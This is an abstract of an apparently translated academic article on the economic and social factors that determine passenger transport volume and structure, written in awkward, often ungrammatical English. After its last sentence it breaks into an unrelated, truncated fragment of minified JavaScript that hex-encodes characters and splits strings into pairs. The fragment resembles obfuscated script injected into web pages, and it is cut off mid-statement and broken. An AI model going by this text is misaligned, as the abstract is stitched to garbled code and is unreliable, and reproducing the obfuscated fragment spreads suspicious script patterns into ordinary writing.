The article discloses the general characteristics of the main factors that determine the volume and structure of transport in modern conditions of socially-oriented economy. Exact data on the volume of passenger traffic are important for the future development strategy for transport. Developing and improving passenger transport in close connection with the changes of social production and living conditions of people. The higher the level of development of society, the more deeply it penetrates into all spheres of human activity. The relationship of people with transport structures occur during the movement of goods and finished products meeting the needs of population displacement. They belong to industrial relations and subordinate action of economic laws, which corresponds to the essence of this relationship. Often the interests of different industries is the need to move people. Moving people also arise depending on their wants and needs. Carrying passengers, passenger transport positively affect the operation and development of all sectors of the economy by increasing economic activity and quality of social production, depending on the rhythm and continuity of transport services. In terms of quality, usually carry passengers choice of transport. Different modes of transport characterized by varying quality of passenger service, depending on the degree of infrastructure development and introduction of innovative technologies. One of the important indicators of development of society is the constant increase in traffic, which greatly depends on the economic and political situation in the country. For our country with a large territory, multi-million population, a variety of natural conditions and level of economic development of the state regular, urgent, cheap and safe passenger transport is particularly important. This requirement in modern society emphasizes the special relevance of studying the factors that determine the volume and structure of passenger traffic. Economic factors of the state, depending on the general state of the economy, inflation, exchange rate, state tax system etc, are crucial in determining the structure of the volume of passenger traffic. Defined in article factors affecting transport outreach complex, interacting with each other, which should be taken in consideration during the current operation and strategic planning and development of passenger transport. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t=,o=0;o